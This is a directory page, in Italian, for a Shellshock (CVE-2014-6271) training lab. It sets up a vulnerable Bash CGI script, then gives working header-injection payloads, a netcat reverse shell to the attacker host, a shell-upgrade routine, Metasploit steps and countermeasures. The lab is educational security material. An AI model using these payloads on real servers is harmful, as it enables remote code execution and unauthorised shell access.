Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2014-6271-Shellshock- — Un laboratorio dimostrativo completo e moderno per CVE-2014-6271 (Shellshock), comprendente architettura, fasi di exploitation, utilizzo di Burp Suite, reverse shell, contromisure e cheat-sheet completo dei comandi. | Kitploit
Strumenti/GitHubGitHub/drhaitham/cve-2014-6271-shellshock-
Analisi delle VulnerabilitàExploitReverse EngineeringSfruttamento di Applicazioni WebCTFPenetration TestingCommand and ControlApprendimento e FormazioneRed Teaming
Sviluppo Payload
Lab e Pratica
GitHubdrhaitham/cve-2014-6271-shellshock-

CVE-2014-6271-Shellshock-

Un laboratorio dimostrativo completo e moderno per CVE-2014-6271 (Shellshock), comprendente architettura, fasi di exploitation, utilizzo di Burp Suite, reverse shell, contromisure e cheat-sheet completo dei comandi.

Vedi Repository
49 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Sfruttare Shellshock (CVE-2014-6271): un laboratorio dimostrativo completo e moderno

Shellshock (CVE-2014-6271) è una delle vulnerabilità di esecuzione remota di codice più influenti mai scoperte. Il difetto colpisce Bash e consente agli attaccanti di eseguire comandi arbitrari semplicemente iniettando payload appositamente costruiti nelle variabili d'ambiente.

Questa guida fornisce una dimostrazione completa e riproducibile usando:

  • Kali Linux (attaccante)
  • Metasploitable2 (bersaglio)
  • curl, Burp Suite, Netcat
  • Uno script CGI basato su Bash creato manualmente

È progettata per l'insegnamento, la ricerca, la formazione e la consapevolezza generale della cybersecurity.


📌 Indice dei contenuti

  1. Architettura del laboratorio
  2. Creare lo script CGI vulnerabile
  3. Capire la vulnerabilità Shellshock
  4. Sfruttare Shellshock con curl
  5. Sfruttare Shellshock con Burp Suite
  6. Reverse shell tramite Shellshock
  7. Passare a una TTY completamente interattiva
  8. Diagramma della catena d'attacco
  9. Galleria di screenshot
  10. Contromisure
  • Cheat Sheet (tutti i comandi)
  • Sfruttare Shellshock usando Metasploit
  • Conclusione

  • 1. Architettura del laboratorio

    ComponenteRuoloSOIndirizzo IPServizi principali
    Kali LinuxAttaccanteKali Linux (ultima versione)192.168.1.4curl, Burp Suite, Netcat
    Metasploitable2Server vulnerabile bersaglioUbuntu Linux (MSF2)192.168.1.5Apache 2.2, script CGI, Bash
    Apache mod_cgiEsecuzione scriptIn esecuzione su MSF2n/aEspone Bash tramite CGI
    shellshock.shPunto di ingresso vulnerabileBash CGIn/aMostra le variabili d'ambiente

    Questa semplice configurazione a due nodi rispecchia molte implementazioni legacy ancora presenti nei sistemi industriali e IoT.


    2. Creare lo script CGI vulnerabile

    Su Metasploitable2:

    root@kitploit:~
    sudo su
    cd /usr/lib/cgi-bin/
    
    cat << 'EOF' > shellshock.sh
    #!/bin/bash
    echo "Content-type: text/html"
    echo
    echo "<pre>"
    env
    echo "</pre>"
    EOF
    
    chmod +x shellshock.sh
    a2enmod cgi
    service apache2 restart
    

    Testa lo script da Kali:

    root@kitploit:~
    curl http://192.168.1.5/cgi-bin/shellshock.sh
    

    Dovresti vedere le variabili d'ambiente visualizzate.


    3. Capire la vulnerabilità Shellshock

    Shellshock si verifica quando Bash analizza in modo errato le variabili d'ambiente che ricordano definizioni di funzioni.

    Una variabile dannosa come:

    root@kitploit:~
    () { :; }; /bin/bash -c "id"
    

    farà eseguire a Bash il comando dopo la definizione della funzione — anche se la funzione stessa non viene mai invocata.

    Le applicazioni CGI sono particolarmente vulnerabili perché le intestazioni HTTP vengono passate automaticamente agli script come variabili d'ambiente.


    4. Sfruttare Shellshock con curl

    root@kitploit:~
    curl -H 'User-Agent: () { :; }; echo; echo Vulnerable; /bin/bash -c "id"' \
    http://192.168.1.5/cgi-bin/shellshock.sh
    

    L'output dovrebbe includere:

    root@kitploit:~
    Vulnerable
    uid=33(www-data)
    

    Questo conferma l'esecuzione remota di codice.


    5. Sfruttare Shellshock con Burp Suite

    5.1 Invia una richiesta normale

    Visita:

    root@kitploit:~
    http://192.168.1.5/cgi-bin/shellshock.sh
    

    Invia la richiesta a Repeater.

    5.2 Inietta il payload Shellshock

    Sostituisci l'intestazione User-Agent con:

    root@kitploit:~
    User-Agent: () { :; }; echo; echo BurpTest; /bin/bash -c "id"
    

    5.3 Risposta

    Dovresti vedere:

    root@kitploit:~
    BurpTest
    uid=33(www-data)
    

    Burp Suite conferma la vulnerabilità in modo visivo ed educativo.


    6. Reverse shell tramite Shellshock

    Avvia il listener su Kali:

    root@kitploit:~
    nc -lvnp 4444
    

    Attiva la reverse shell tramite lo script CGI:

    root@kitploit:~
    curl -H 'User-Agent: () { :; }; /bin/bash -c "nc 192.168.1.4 4444 -e /bin/bash"' \
    http://192.168.1.5/cgi-bin/shellshock.sh
    

    Una shell si ricollegherà a Kali.


    7. Passare a una TTY completamente interattiva

    All'interno della reverse shell:

    root@kitploit:~
    python -c 'import pty; pty.spawn("/bin/bash")'
    export TERM=xterm
    

    Sospendi la sessione:

    root@kitploit:~
    Ctrl + Z
    

    Su Kali:

    root@kitploit:~
    stty raw -echo; fg
    

    Premi Invio.

    Ora hai:

    • completamento con il tasto Tab
    • frecce direzionali
    • controllo dei job
    • Bash completamente interattiva

    8. Diagramma della catena d'attacco

    root@kitploit:~
              ┌────────────────────────┐
              │     Attacker (Kali)    │
              │      192.168.1.4       │
              └───────────┬────────────┘
                          │
         1. Malicious HTTP Header (Shellshock)
                          │
                          ▼
            ┌──────────────────────────┐
            │ Apache Web Server (CGI)  │
            │     192.168.1.5          │
            └───────────┬──────────────┘
                        │
       2. Header → CGI Environment Variable
                        │
                        ▼
          ┌──────────────────────────┐
          │     Bash (Vulnerable)    │
          └───────────┬──────────────┘
                      │
          3. Injected Command Executes
                      │
                      ▼
            ┌─────────────────────────┐
            │  www-data Shell Access  │
            └───────────┬─────────────┘
                        │
            4. Reverse Shell → Kali
                        │
                        ▼
          ┌──────────────────────────┐
          │ Full Interactive TTY     │
          └──────────────────────────┘
    

    9. Galleria di screenshot

    Una guida visiva alle fasi chiave dell'attacco.

    DescrizioneImmagine
    Scansione Nmap + output del test Shellshock
    Burp Suite – Richiesta Shellshock iniziale
    Burp Suite – Iniezione payload / intestazione
    Reverse shell ricevuta su Kali (nc)

    10. Contromisure

    ✔ 1. Aggiorna Bash

    Applica una patch per passare a una versione che gestisca correttamente il parsing delle funzioni.

    ✔ 2. Disabilita CGI

    Il CGI legacy introduce un rischio sistemico non necessario.

    ✔ 3. Sanifica le intestazioni HTTP

    Elimina i pattern sospetti come:

    root@kitploit:~
    () { :; };
    

    ✔ 4. Usa il principio del minimo privilegio

    Limita i permessi dell'utente del server web (www-data).

    ✔ 5. Restrizioni sulle connessioni in uscita

    Blocca le reverse shell e l'esfiltrazione dei dati.

    ✔ 6. Implementa un Web Application Firewall (WAF)

    Le firme WAF moderne rilevano Shellshock immediatamente.

    ✔ 7. Abilita SELinux / AppArmor

    Contiene i processi Bash e blocca comportamenti indesiderati.

    ✔ 8. Esegui scansioni di vulnerabilità regolari

    Usa strumenti come:

    • Nessus
    • OpenVAS
    • Nikto
    • Nmap NSE (http-shellshock.nse)

    11. Cheat Sheet (tutti i comandi)

    Configurazione del bersaglio

    root@kitploit:~
    sudo su
    cd /usr/lib/cgi-bin/
    cat << 'EOF' > shellshock.sh
    #!/bin/bash
    echo "Content-type: text/html"
    echo
    echo "<pre>"
    env
    echo "</pre>"
    EOF
    chmod +x shellshock.sh
    a2enmod cgi
    service apache2 restart
    

    Test dello script CGI

    root@kitploit:~
    curl http://192.168.1.5/cgi-bin/shellshock.sh
    

    Test Shellshock

    root@kitploit:~
    curl -H 'User-Agent: () { :; }; echo; echo Vulnerable; /bin/bash -c "id"' \
    http://192.168.1.5/cgi-bin/shellshock.sh
    

    Reverse Shell

    root@kitploit:~
    nc -lvnp 4444
    
    root@kitploit:~
    curl -H 'User-Agent: () { :; }; /bin/bash -c "nc 192.168.1.4 4444 -e /bin/bash"' \
    http://192.168.1.5/cgi-bin/shellshock.sh
    

    Passaggio a una TTY completa

    All'interno della shell:

    root@kitploit:~
    python -c 'import pty; pty.spawn("/bin/bash")'
    export TERM=xterm
    

    Sospendi:

    root@kitploit:~
    Ctrl + Z
    

    Su Kali:

    root@kitploit:~
    stty raw -echo; fg
    

    Premi Invio.


    12. Sfruttare Shellshock usando Metasploit (msfconsole)

    Metasploit offre un modo professionale e automatizzato per sfruttare Shellshock utilizzando il modulo integrato:

    root@kitploit:~
    exploit/multi/http/apache_mod_cgi_bash_env_exec
    

    Questo metodo è rapido, affidabile e offre lo staging automatico del payload (ad esempio Meterpreter).


    12.1 Avvia Metasploit

    root@kitploit:~
    msfconsole
    

    12.2 Cerca i moduli Shellshock

    root@kitploit:~
    search shellshock
    

    Dovresti vedere (tra gli altri):

    root@kitploit:~
    exploit/multi/http/apache_mod_cgi_bash_env_exec  Apache mod_cgi Bash Environment Variable Code Injection (Shellshock)
    auxiliary/scanner/http/apache_mod_cgi_bash_env   Apache mod_cgi Bash Environment Variable Injection (Scanner)
    

    12.3 Carica il modulo exploit

    root@kitploit:~
    use exploit/multi/http/apache_mod_cgi_bash_env_exec
    

    12.4 Configura le opzioni richieste

    Imposta l'IP del bersaglio:

    root@kitploit:~
    set rhosts 192.168.1.5
    

    Imposta il percorso CGI vulnerabile:

    root@kitploit:~
    set targeturi /cgi-bin/shellshock.sh
    

    Imposta l'IP della tua Kali:

    root@kitploit:~
    set lhost 192.168.1.4
    

    Imposta facoltativamente la porta in ascolto:

    root@kitploit:~
    set lport 4444
    

    Verifica:

    root@kitploit:~
    options
    

    Dovresti vedere:

    root@kitploit:~
    RHOSTS     192.168.1.5
    TARGETURI  /cgi-bin/shellshock.sh
    LHOST      192.168.1.4
    LPORT      4444
    METHOD     GET
    HEADER     User-Agent
    CVE        CVE-2014-6271
    

    12.5 Lancia l'exploit

    root@kitploit:~
    run
    

    In caso di successo:

    root@kitploit:~
    [*] Started reverse TCP handler on 192.168.1.4:4444
    [*] Command Stager progress - 100.00%
    [*] Sending stage ...
    [*] Meterpreter session 1 opened ...
    

    12.6 Interagisci con la sessione Meterpreter

    root@kitploit:~
    sessions -i 1
    

    Ora hai:

    root@kitploit:~
    meterpreter >
    

    12.7 Genera una shell normale

    root@kitploit:~
    shell
    

    Quindi:

    root@kitploit:~
    id
    hostname
    

    Risultato atteso:

    root@kitploit:~
    uid=33(www-data) gid=33(www-data)
    metasploitable
    

    Hai ottenuto l'esecuzione remota di comandi usando Metasploit e Shellshock.


    13. Conclusione

    Questa dimostrazione mostra come Shellshock possa essere sfruttato usando la semplice manipolazione delle intestazioni HTTP, le reverse shell, l'esecuzione di script CGI e l'automazione di Metasploit. Nonostante abbia più di un decennio, Shellshock rimane una lezione importante su:

    • pratiche di sviluppo software sicuro
    • sanificazione dell'input
    • rischi dei sistemi legacy
    • tecniche di post-exploitation

    Realizzato con tantissimo amore da:
    Haitham dell'Oman ❤️🇴🇲

    Scarica lo strumento